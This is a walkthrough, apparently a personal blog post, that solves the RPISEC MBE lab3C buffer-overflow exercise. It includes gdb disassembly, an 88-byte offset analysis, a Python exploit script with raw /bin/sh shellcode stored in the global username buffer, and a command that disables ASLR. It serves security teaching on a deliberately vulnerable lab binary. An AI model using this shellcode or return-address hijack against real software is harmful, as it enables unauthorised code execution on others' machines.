- This lab is a combination of buffer-overflow and shellcode. The intention os this lab is explore bof and execute a shellcode and get a shell on the machine where the binary is running. This time we will have the shell part.
- After trying to understand what the binary does, now let’s move on to debugging
- Now that we know what the binary does, we can do some tests to find the best path to shellcode, which is the idea of this lab.
- Passing verify_user_name
- Shellcode time
- Let’s go
- Shell time
-
Solving lab3C “ 02/24 –[ Shellcoding Lab” (https://github.com/RPISEC/MBE/blob/master/src/lab03/lab3C.c)
This lab is a combination of buffer-overflow and shellcode. The intention os this lab is explore bof and execute a shellcode and get a shell on the machine where the binary is running. This time we will have the shell part.
First we go get the source code and compile following the instruction that is commented in the code:
gcc -z execstack -fno-stack-protector lab3C.c -o lab3C
Running the binary we see that it asks for a username. And when I try to enter any username, I get “incorrect username”:
Looking at the binary strings we see something interesting:
$ strings lab3C
We see that the binary also asks for a password and probably this password and the username appear right above.
We can also see a preview of the functions that binary uses:
Testing the username and password I get a slightly strange result…
It seems that the username is correct but the password is not, or could it be that the binary doesn’t do anything at all?
After trying to understand what the binary does, now let’s move on to debugging
First, let’s take a look at the disassembly of the main function:
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000001201 <+0>: endbr64
0x0000000000001205 <+4>: push rbp
0x0000000000001206 <+5>: mov rbp,rsp
0x0000000000001209 <+8>: sub rsp,0x50
0x000000000000120d <+12>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000001215 <+20>: mov QWORD PTR [rbp-0x48],0x0
0x000000000000121d <+28>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000001225 <+36>: mov QWORD PTR [rbp-0x38],0x0
0x000000000000122d <+44>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000001235 <+52>: mov QWORD PTR [rbp-0x28],0x0
0x000000000000123d <+60>: mov QWORD PTR [rbp-0x20],0x0
0x0000000000001245 <+68>: mov QWORD PTR [rbp-0x18],0x0
0x000000000000124d <+76>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000001254 <+83>: lea rdi,[rip+0xdd5] # 0x2030
0x000000000000125b <+90>: call 0x1090 <puts@plt>
0x0000000000001260 <+95>: lea rdi,[rip+0xdf0] # 0x2057
0x0000000000001267 <+102>: mov eax,0x0
0x000000000000126c <+107>: call 0x10a0 <printf@plt>
0x0000000000001271 <+112>: mov rax,QWORD PTR [rip+0x2da8] # 0x4020 <stdin@@GLIBC_2.2.5>
0x0000000000001278 <+119>: mov rdx,rax
0x000000000000127b <+122>: mov esi,0x100
0x0000000000001280 <+127>: lea rdi,[rip+0x2db9] # 0x4040 <a_user_name>
0x0000000000001287 <+134>: call 0x10b0 <fgets@plt>
0x000000000000128c <+139>: mov eax,0x0
0x0000000000001291 <+144>: call 0x11a9 <verify_user_name>
0x0000000000001296 <+149>: mov DWORD PTR [rbp-0x4],eax
0x0000000000001299 <+152>: cmp DWORD PTR [rbp-0x4],0x0
0x000000000000129d <+156>: je 0x12b2 <main+177>
0x000000000000129f <+158>: lea rdi,[rip+0xdc2] # 0x2068
0x00000000000012a6 <+165>: call 0x1090 <puts@plt>
0x00000000000012ab <+170>: mov eax,0x1
0x00000000000012b0 <+175>: jmp 0x1309 <main+264>
0x00000000000012b2 <+177>: lea rdi,[rip+0xdcc] # 0x2085
0x00000000000012b9 <+184>: call 0x1090 <puts@plt>
0x00000000000012be <+189>: mov rdx,QWORD PTR [rip+0x2d5b] # 0x4020 <stdin@@GLIBC_2.2.5>
0x00000000000012c5 <+196>: lea rax,[rbp-0x50]
0x00000000000012c9 <+200>: mov esi,0x64
0x00000000000012ce <+205>: mov rdi,rax
0x00000000000012d1 <+208>: call 0x10b0 <fgets@plt>
0x00000000000012d6 <+213>: lea rax,[rbp-0x50]
0x00000000000012da <+217>: mov rdi,rax
0x00000000000012dd <+220>: call 0x11d7 <verify_user_pass>
0x00000000000012e2 <+225>: mov DWORD PTR [rbp-0x4],eax
0x00000000000012e5 <+228>: cmp DWORD PTR [rbp-0x4],0x0
0x00000000000012e9 <+232>: je 0x12f1 <main+240>
0x00000000000012eb <+234>: cmp DWORD PTR [rbp-0x4],0x0
0x00000000000012ef <+238>: je 0x1304 <main+259>
0x00000000000012f1 <+240>: lea rdi,[rip+0xd9e] # 0x2096
0x00000000000012f8 <+247>: call 0x1090 <puts@plt>
0x00000000000012fd <+252>: mov eax,0x1
0x0000000000001302 <+257>: jmp 0x1309 <main+264>
0x0000000000001304 <+259>: mov eax,0x0
0x0000000000001309 <+264>: leave
0x000000000000130a <+265>: ret
End of assembler dump.
Analyzing we can see that in main there are two more functions: verify_user_name and verify_user_pass. These are probably the functions that check the name and password input.
And just before calling the function verify_user_name we can see that the username variable is referenced before calling a fgets which can take the name and store it in the variable. Now the function verify_user_pass does not have the password variable referenced before being called. This may mean that inputs are stored in different ways…
Looking at the disassembly of functions, we don’t see much that is useful:
We see that the functions probably take the input and do a comparison using the strncmp function. If we consider what we saw in the strings, these functions must compare the inputs with the values ”rpisec” and “admin”.
Now that we know what the binary does, we can do some tests to find the best path to shellcode, which is the idea of this lab.
Following with what we already know, we first have to test whether any variable can be overflowed. Putting breakpoints in the verification functions right after the input goes to the binary and put a pattern on the inputs for see how it is handled.
So the first 6 bytes of the input have to be “rpisec”. This can be confirmed because after we go through strncmp the flow jumps to a comparison and then print “incorrect username”.
Then the execution is finished.
Passing verify_user_name
So if we put the string “rpisec” before the pattern we see that strncpm only reads the first 6 bytes and with this it is possible to pass the username check.
After passing the username verification we arrive at the verify_user_pass function. And we can see the password verification being done:
As expected, after passing strncmp the flow jumps to a comparison and then to the end, but…
I noticed that no return address was overwritten, neither from verify_user_name or verify_user_pass. Until we reached the return address of the main function, which got stuck because it was overwritten by our alphabet patter.
We can notice that after 88 bytes of the pattern the return address of main is overwritten.
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMMNNNNNNNN
| 88 bytes is stored in variable || this is overflowed |
|______________________________________________________________________________________||______________________|
We have our buffer-overflow!
Shellcode time
There came a time when I tried to put some shellcodes after the return address of the main function but I didn’t achieve anything. I was stuck for a while trying different ways and nothing.
Until I asked for help and received tips on a better path to follow.
In the source code, the variable that stores the username is outside the scope of the functions, that is, it is in the global scope. This means that it is in the .data section of the binary and not in the .text section where it is the executable area.
With this we can know that the username variable will not be stored in the stack, but the password variable will. So the tip I received was to store the shellcode in the username variable and overwrite the return address in the password variable. To then “get” the shellcode in the username variable and thus execute it.
Let’s go
If we look at the disassembly of the main function we see that the address of the username variable is referenced before being passed to the fgets function and then to the verify_user_name function.
And checking the variable’s memory we see the string “rpisec”.
Now knowing the address of the username variable and also how to overwrite the return address, let’s write our exploit…
import struct
name = b"rpisec"
# addr a_user_name var that store username + 6 bytes to the shellcode addr
nameaddr = 0x555555558086
# 88 bytes to overflow
pattern = b"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKK"
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
nm = struct.pack('<Q', nameaddr)
buf = b''
buf += name # pass in verify_user_name function
buf += shellcode # /bin/sh shellcode
buf += b'\n' # break line to align the buffer
buf += pattern # buffer to overflow password var
buf += nm # addr of shellcode in name var
f = open("exp", "wb")
f.write(buf)
(shellcode source: [https://shell-storm.org/shellcode/files/shellcode-806.html]https://shell-storm.org/shellcode/files/shellcode-806.html)
After running the python code it sends the buffer to an “exp” file. And the exploration buffer looks like this:
rpisec + shellcode + pattern + addr of shellcode
Shell time
After running we can see that the shellcode has been stored along with the rpisec string.
Arriving at the ret main we see that the return address was successfully overwritten.
Then we see that the shellcode address has been reached and the shellcode instructions are being executed successfully.
With everything ok in GDB, let’s run the exploit outside the debugger to get the shell on the machine. For execution outside of gdb to work, it will be necessary to disable ASLR so that the host machine does not randomize memory addresses.
$ sudo sysctl kernel.randomize_va_space=0
(disable aslr)
Running the binary along with the exploit… we have the shell
It was difficult but it worked. :)